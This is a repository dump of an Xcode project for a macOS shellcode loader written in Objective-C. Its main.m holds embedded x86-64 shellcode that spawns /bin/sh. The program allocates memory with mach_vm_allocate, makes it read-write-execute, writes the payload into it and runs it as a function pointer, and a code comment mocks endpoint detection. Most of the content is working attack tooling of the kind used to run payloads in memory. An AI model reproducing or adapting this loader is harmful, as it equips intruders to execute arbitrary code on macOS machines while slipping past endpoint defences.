├── ObjCShellcodeLoader2.xcodeproj ├── project.pbxproj └── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcshareddata │ └── IDEWorkspaceChecks.plist ├── ObjCShellcodeLoader2 └── main.m └── README.md /ObjCShellcodeLoader2.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 50; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 3F0142812761288400E4D5D7 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 3F0142802761288400E4D5D7 /* main.m */; }; 11 | /* End PBXBuildFile section */ 12 | 13 | /* Begin PBXCopyFilesBuildPhase section */ 14 | 3F01427B2761288400E4D5D7 /* CopyFiles */ = { 15 | isa = PBXCopyFilesBuildPhase; 16 | buildActionMask = 2147483647; 17 | dstPath = /usr/share/man/man1/; 18 | dstSubfolderSpec = 0; 19 | files = ( 20 | ); 21 | runOnlyForDeploymentPostprocessing = 1; 22 | }; 23 | /* End PBXCopyFilesBuildPhase section */ 24 | 25 | /* Begin PBXFileReference section */ 26 | 3F01427D2761288400E4D5D7 /* ObjCShellcodeLoader2 */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = ObjCShellcodeLoader2; sourceTree = BUILT_PRODUCTS_DIR; }; 27 | 3F0142802761288400E4D5D7 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 28 | /* End PBXFileReference section */ 29 | 30 | /* Begin PBXFrameworksBuildPhase section */ 31 | 3F01427A2761288400E4D5D7 /* Frameworks */ = { 32 | isa = PBXFrameworksBuildPhase; 33 | buildActionMask = 2147483647; 34 | files = ( 35 | ); 36 | runOnlyForDeploymentPostprocessing = 0; 37 | }; 38 | /* End PBXFrameworksBuildPhase section */ 39 | 40 | /* Begin PBXGroup section */ 41 | 3F0142742761288400E4D5D7 = { 42 | isa = PBXGroup; 43 | children = ( 44 | 3F01427F2761288400E4D5D7 /* ObjCShellcodeLoader2 */, 45 | 3F01427E2761288400E4D5D7 /* Products */, 46 | ); 47 | sourceTree = ""; 48 | }; 49 | 3F01427E2761288400E4D5D7 /* Products */ = { 50 | isa = PBXGroup; 51 | children = ( 52 | 3F01427D2761288400E4D5D7 /* ObjCShellcodeLoader2 */, 53 | ); 54 | name = Products; 55 | sourceTree = ""; 56 | }; 57 | 3F01427F2761288400E4D5D7 /* ObjCShellcodeLoader2 */ = { 58 | isa = PBXGroup; 59 | children = ( 60 | 3F0142802761288400E4D5D7 /* main.m */, 61 | ); 62 | path = ObjCShellcodeLoader2; 63 | sourceTree = ""; 64 | }; 65 | /* End PBXGroup section */ 66 | 67 | /* Begin PBXNativeTarget section */ 68 | 3F01427C2761288400E4D5D7 /* ObjCShellcodeLoader2 */ = { 69 | isa = PBXNativeTarget; 70 | buildConfigurationList = 3F0142842761288400E4D5D7 /* Build configuration list for PBXNativeTarget "ObjCShellcodeLoader2" */; 71 | buildPhases = ( 72 | 3F0142792761288400E4D5D7 /* Sources */, 73 | 3F01427A2761288400E4D5D7 /* Frameworks */, 74 | 3F01427B2761288400E4D5D7 /* CopyFiles */, 75 | ); 76 | buildRules = ( 77 | ); 78 | dependencies = ( 79 | ); 80 | name = ObjCShellcodeLoader2; 81 | productName = ObjCShellcodeLoader2; 82 | productReference = 3F01427D2761288400E4D5D7 /* ObjCShellcodeLoader2 */; 83 | productType = "com.apple.product-type.tool"; 84 | }; 85 | /* End PBXNativeTarget section */ 86 | 87 | /* Begin PBXProject section */ 88 | 3F0142752761288400E4D5D7 /* Project object */ = { 89 | isa = PBXProject; 90 | attributes = { 91 | LastUpgradeCheck = 1250; 92 | TargetAttributes = { 93 | 3F01427C2761288400E4D5D7 = { 94 | CreatedOnToolsVersion = 12.5; 95 | }; 96 | }; 97 | }; 98 | buildConfigurationList = 3F0142782761288400E4D5D7 /* Build configuration list for PBXProject "ObjCShellcodeLoader2" */; 99 | compatibilityVersion = "Xcode 9.3"; 100 | developmentRegion = en; 101 | hasScannedForEncodings = 0; 102 | knownRegions = ( 103 | en, 104 | Base, 105 | ); 106 | mainGroup = 3F0142742761288400E4D5D7; 107 | productRefGroup = 3F01427E2761288400E4D5D7 /* Products */; 108 | projectDirPath = ""; 109 | projectRoot = ""; 110 | targets = ( 111 | 3F01427C2761288400E4D5D7 /* ObjCShellcodeLoader2 */, 112 | ); 113 | }; 114 | /* End PBXProject section */ 115 | 116 | /* Begin PBXSourcesBuildPhase section */ 117 | 3F0142792761288400E4D5D7 /* Sources */ = { 118 | isa = PBXSourcesBuildPhase; 119 | buildActionMask = 2147483647; 120 | files = ( 121 | 3F0142812761288400E4D5D7 /* main.m in Sources */, 122 | ); 123 | runOnlyForDeploymentPostprocessing = 0; 124 | }; 125 | /* End PBXSourcesBuildPhase section */ 126 | 127 | /* Begin XCBuildConfiguration section */ 128 | 3F0142822761288400E4D5D7 /* Debug */ = { 129 | isa = XCBuildConfiguration; 130 | buildSettings = { 131 | ALWAYS_SEARCH_USER_PATHS = NO; 132 | CLANG_ANALYZER_NONNULL = YES; 133 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 134 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 135 | CLANG_CXX_LIBRARY = "libc++"; 136 | CLANG_ENABLE_MODULES = YES; 137 | CLANG_ENABLE_OBJC_ARC = YES; 138 | CLANG_ENABLE_OBJC_WEAK = YES; 139 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 140 | CLANG_WARN_BOOL_CONVERSION = YES; 141 | CLANG_WARN_COMMA = YES; 142 | CLANG_WARN_CONSTANT_CONVERSION = YES; 143 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 144 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 145 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 146 | CLANG_WARN_EMPTY_BODY = YES; 147 | CLANG_WARN_ENUM_CONVERSION = YES; 148 | CLANG_WARN_INFINITE_RECURSION = YES; 149 | CLANG_WARN_INT_CONVERSION = YES; 150 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 151 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 152 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 153 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 154 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 155 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 156 | CLANG_WARN_STRICT_PROTOTYPES = YES; 157 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 158 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 159 | CLANG_WARN_UNREACHABLE_CODE = YES; 160 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 161 | COPY_PHASE_STRIP = NO; 162 | DEBUG_INFORMATION_FORMAT = dwarf; 163 | ENABLE_STRICT_OBJC_MSGSEND = YES; 164 | ENABLE_TESTABILITY = YES; 165 | GCC_C_LANGUAGE_STANDARD = gnu11; 166 | GCC_DYNAMIC_NO_PIC = NO; 167 | GCC_NO_COMMON_BLOCKS = YES; 168 | GCC_OPTIMIZATION_LEVEL = 0; 169 | GCC_PREPROCESSOR_DEFINITIONS = ( 170 | "DEBUG=1", 171 | "$(inherited)", 172 | ); 173 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 174 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 175 | GCC_WARN_UNDECLARED_SELECTOR = YES; 176 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 177 | GCC_WARN_UNUSED_FUNCTION = YES; 178 | GCC_WARN_UNUSED_VARIABLE = YES; 179 | MACOSX_DEPLOYMENT_TARGET = 11.3; 180 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 181 | MTL_FAST_MATH = YES; 182 | ONLY_ACTIVE_ARCH = YES; 183 | SDKROOT = macosx; 184 | }; 185 | name = Debug; 186 | }; 187 | 3F0142832761288400E4D5D7 /* Release */ = { 188 | isa = XCBuildConfiguration; 189 | buildSettings = { 190 | ALWAYS_SEARCH_USER_PATHS = NO; 191 | CLANG_ANALYZER_NONNULL = YES; 192 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 193 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 194 | CLANG_CXX_LIBRARY = "libc++"; 195 | CLANG_ENABLE_MODULES = YES; 196 | CLANG_ENABLE_OBJC_ARC = YES; 197 | CLANG_ENABLE_OBJC_WEAK = YES; 198 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 199 | CLANG_WARN_BOOL_CONVERSION = YES; 200 | CLANG_WARN_COMMA = YES; 201 | CLANG_WARN_CONSTANT_CONVERSION = YES; 202 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 203 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 204 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 205 | CLANG_WARN_EMPTY_BODY = YES; 206 | CLANG_WARN_ENUM_CONVERSION = YES; 207 | CLANG_WARN_INFINITE_RECURSION = YES; 208 | CLANG_WARN_INT_CONVERSION = YES; 209 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 210 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 211 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 212 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 213 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 214 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 215 | CLANG_WARN_STRICT_PROTOTYPES = YES; 216 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 217 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 218 | CLANG_WARN_UNREACHABLE_CODE = YES; 219 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 220 | COPY_PHASE_STRIP = NO; 221 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 222 | ENABLE_NS_ASSERTIONS = NO; 223 | ENABLE_STRICT_OBJC_MSGSEND = YES; 224 | GCC_C_LANGUAGE_STANDARD = gnu11; 225 | GCC_NO_COMMON_BLOCKS = YES; 226 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 227 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 228 | GCC_WARN_UNDECLARED_SELECTOR = YES; 229 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 230 | GCC_WARN_UNUSED_FUNCTION = YES; 231 | GCC_WARN_UNUSED_VARIABLE = YES; 232 | MACOSX_DEPLOYMENT_TARGET = 11.3; 233 | MTL_ENABLE_DEBUG_INFO = NO; 234 | MTL_FAST_MATH = YES; 235 | SDKROOT = macosx; 236 | }; 237 | name = Release; 238 | }; 239 | 3F0142852761288400E4D5D7 /* Debug */ = { 240 | isa = XCBuildConfiguration; 241 | buildSettings = { 242 | CODE_SIGN_STYLE = Automatic; 243 | PRODUCT_NAME = "$(TARGET_NAME)"; 244 | }; 245 | name = Debug; 246 | }; 247 | 3F0142862761288400E4D5D7 /* Release */ = { 248 | isa = XCBuildConfiguration; 249 | buildSettings = { 250 | CODE_SIGN_STYLE = Automatic; 251 | PRODUCT_NAME = "$(TARGET_NAME)"; 252 | }; 253 | name = Release; 254 | }; 255 | /* End XCBuildConfiguration section */ 256 | 257 | /* Begin XCConfigurationList section */ 258 | 3F0142782761288400E4D5D7 /* Build configuration list for PBXProject "ObjCShellcodeLoader2" */ = { 259 | isa = XCConfigurationList; 260 | buildConfigurations = ( 261 | 3F0142822761288400E4D5D7 /* Debug */, 262 | 3F0142832761288400E4D5D7 /* Release */, 263 | ); 264 | defaultConfigurationIsVisible = 0; 265 | defaultConfigurationName = Release; 266 | }; 267 | 3F0142842761288400E4D5D7 /* Build configuration list for PBXNativeTarget "ObjCShellcodeLoader2" */ = { 268 | isa = XCConfigurationList; 269 | buildConfigurations = ( 270 | 3F0142852761288400E4D5D7 /* Debug */, 271 | 3F0142862761288400E4D5D7 /* Release */, 272 | ); 273 | defaultConfigurationIsVisible = 0; 274 | defaultConfigurationName = Release; 275 | }; 276 | /* End XCConfigurationList section */ 277 | }; 278 | rootObject = 3F0142752761288400E4D5D7 /* Project object */; 279 | } 280 | -------------------------------------------------------------------------------- /ObjCShellcodeLoader2.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /ObjCShellcodeLoader2.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /ObjCShellcodeLoader2/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // ObjCShellcodeLoader 4 | // 5 | // Created by Justin Bui on 12/8/21. 6 | // 7 | 8 | #import 9 | 10 | 11 | int main(int argc, const char * argv[]) { 12 | 13 | // Maybe /bin/sh shellcode, maybe not, from https://github.com/theevilbit/shellcode 14 | UInt8 shellcode[] = {72, 49, 246, 86, 72, 191, 47, 47, 98, 105, 110, 47, 115, 104, 87, 72, 137, 231, 72, 49, 210, 72, 49, 192, 176, 2, 72, 193, 200, 40, 176, 59, 15, 5}; 15 | unsigned long long shellcodeLength = (sizeof shellcode) / (sizeof shellcode[0]); 16 | 17 | // Allocate memory 18 | mach_vm_address_t address; 19 | kern_return_t kernReturn = mach_vm_allocate(mach_task_self(), &address, shellcodeLength, VM_FLAGS_ANYWHERE); 20 | 21 | if (kernReturn == KERN_SUCCESS) { 22 | printf("[+] mach_vm_allocate allocated memory!\n"); 23 | printf(" |-> Address: %p\n", address); 24 | } 25 | else { 26 | printf("[-] mach_vm_allocate failed to allocate memory: %s\n", mach_error_string(kernReturn)); 27 | exit(0); 28 | } 29 | 30 | // Change memory permissions to RWX because YOLO and macOS EDR is a joke 31 | kernReturn = mach_vm_protect(mach_task_self(), address, shellcodeLength, false, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); 32 | if (kernReturn == KERN_SUCCESS) { 33 | printf("[+] mach_vm_protect updated memory protections!\n"); 34 | printf(" |-> Memory protection: 0x%02x\n", VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); 35 | } 36 | else { 37 | printf("[-] mach_vm_protect failed to change memory permissions: %s\n", mach_error_string(kernReturn)); 38 | exit(0); 39 | } 40 | 41 | // Write shellcode to allocated memory 42 | kernReturn = mach_vm_write(mach_task_self(), address, shellcode, shellcodeLength); 43 | if (kernReturn == KERN_SUCCESS) { 44 | printf("[+] mach_vm_write wrote to allocated memory!\n"); 45 | } 46 | else { 47 | printf("[-] mach_vm_write failed to write shellcode: %s\n", mach_error_string(kernReturn)); 48 | exit(0); 49 | } 50 | 51 | // Execute memory as a function pointer 52 | printf("[+] Executing function pointer!\n"); 53 | printf("[+] Output:\n"); 54 | void (*functionPointer)() = (void (*)())address; 55 | functionPointer(); 56 | 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ObjCShellcodeLoader 2 | 3 | Allocate memory with `mach_vm_allocate`, change memory protections with `mach_vm_protect`, write shellcode with `mach_vm_write`, and execute shellcode as a function pointer. 4 | --------------------------------------------------------------------------------